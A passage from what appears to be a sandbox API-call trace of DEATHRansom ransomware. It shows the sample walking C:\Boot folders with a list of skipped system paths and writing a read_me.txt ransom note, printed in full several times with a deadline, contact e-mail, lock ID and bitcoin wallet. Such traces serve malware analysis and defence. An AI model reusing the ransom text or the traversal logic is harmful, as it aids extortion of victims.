hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0077.644] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 31 [0077.644] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0077.644] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.644] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\read_me.txt") returned 29 [0077.644] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\read_me.txt" (normalized: "c:\\boot\\fonts\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.646] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.646] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.647] CloseHandle (hObject=0x7b8) returned 1 [0077.647] GetProcessHeap () returned 0x540000 [0077.647] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.647] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0077.647] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR") returned 17 [0077.647] lstrcmpW (lpString1="fr-FR", lpString2="..") returned 1 [0077.647] lstrcmpW (lpString1="fr-FR", lpString2=".") returned 1 [0077.647] StrStrW (lpFirst="fr-fr", lpSrch="programdata") returned 0x0 [0077.647] StrStrW (lpFirst="fr-fr", lpSrch="$recycle.bin") returned 0x0 [0077.647] StrStrW (lpFirst="fr-fr", lpSrch="program files") returned 0x0 [0077.647] StrStrW (lpFirst="fr-fr", lpSrch="windows") returned 0x0 [0077.647] StrStrW (lpFirst="fr-fr", lpSrch="all users") returned 0x0 [0077.647] StrStrW (lpFirst="fr-fr", lpSrch="appdata") returned 0x0 [0077.647] GetProcessHeap () returned 0x540000 [0077.647] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.647] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\fr-FR" | out: lpString1="\\\\?\\C:\\Boot\\fr-FR") returned="\\\\?\\C:\\Boot\\fr-FR" [0077.647] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 10 [0077.647] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.649] GetProcessHeap () returned 0x540000 [0077.649] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.649] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\*") returned 19 [0077.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.649] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\.") returned 19 [0077.649] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.649] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.649] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.649] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\..") returned 20 [0077.649] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.649] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.649] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 33 [0077.649] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.649] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.649] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\read_me.txt") returned 29 [0077.650] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\read_me.txt" (normalized: "c:\\boot\\fr-fr\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.650] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.650] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.651] CloseHandle (hObject=0x7b8) returned 1 [0077.651] GetProcessHeap () returned 0x540000 [0077.651] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.651] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0077.651] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU") returned 17 [0077.651] lstrcmpW (lpString1="hu-HU", lpString2="..") returned 1 [0077.651] lstrcmpW (lpString1="hu-HU", lpString2=".") returned 1 [0077.651] StrStrW (lpFirst="hu-hu", lpSrch="programdata") returned 0x0 [0077.651] StrStrW (lpFirst="hu-hu", lpSrch="$recycle.bin") returned 0x0 [0077.651] StrStrW (lpFirst="hu-hu", lpSrch="program files") returned 0x0 [0077.651] StrStrW (lpFirst="hu-hu", lpSrch="windows") returned 0x0 [0077.651] StrStrW (lpFirst="hu-hu", lpSrch="all users") returned 0x0 [0077.651] StrStrW (lpFirst="hu-hu", lpSrch="appdata") returned 0x0 [0077.651] GetProcessHeap () returned 0x540000 [0077.651] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.651] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\hu-HU" | out: lpString1="\\\\?\\C:\\Boot\\hu-HU") returned="\\\\?\\C:\\Boot\\hu-HU" [0077.651] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 11 [0077.652] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.653] GetProcessHeap () returned 0x540000 [0077.653] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.653] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\*") returned 19 [0077.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.653] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\.") returned 19 [0077.653] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.653] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.653] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.653] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\..") returned 20 [0077.653] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.653] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.653] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 33 [0077.653] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.653] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.653] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\read_me.txt") returned 29 [0077.653] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\read_me.txt" (normalized: "c:\\boot\\hu-hu\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.653] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.653] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.654] CloseHandle (hObject=0x7b8) returned 1 [0077.655] GetProcessHeap () returned 0x540000 [0077.655] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.655] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0077.655] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT") returned 17 [0077.655] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0077.655] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0077.655] StrStrW (lpFirst="it-it", lpSrch="programdata") returned 0x0 [0077.655] StrStrW (lpFirst="it-it", lpSrch="$recycle.bin") returned 0x0 [0077.655] StrStrW (lpFirst="it-it", lpSrch="program files") returned 0x0 [0077.655] StrStrW (lpFirst="it-it", lpSrch="windows") returned 0x0 [0077.655] StrStrW (lpFirst="it-it", lpSrch="all users") returned 0x0 [0077.655] StrStrW (lpFirst="it-it", lpSrch="appdata") returned 0x0 [0077.655] GetProcessHeap () returned 0x540000 [0077.655] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.655] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\it-IT" | out: lpString1="\\\\?\\C:\\Boot\\it-IT") returned="\\\\?\\C:\\Boot\\it-IT" [0077.655] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 12 [0077.655] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.657] GetProcessHeap () returned 0x540000 [0077.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.657] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\*") returned 19 [0077.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.657] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\.") returned 19 [0077.657] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.657] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.657] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.657] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\..") returned 20 [0077.657] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.657] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.657] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 33 [0077.657] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.657] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.657] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\read_me.txt") returned 29 [0077.657] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\read_me.txt" (normalized: "c:\\boot\\it-it\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.657] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to 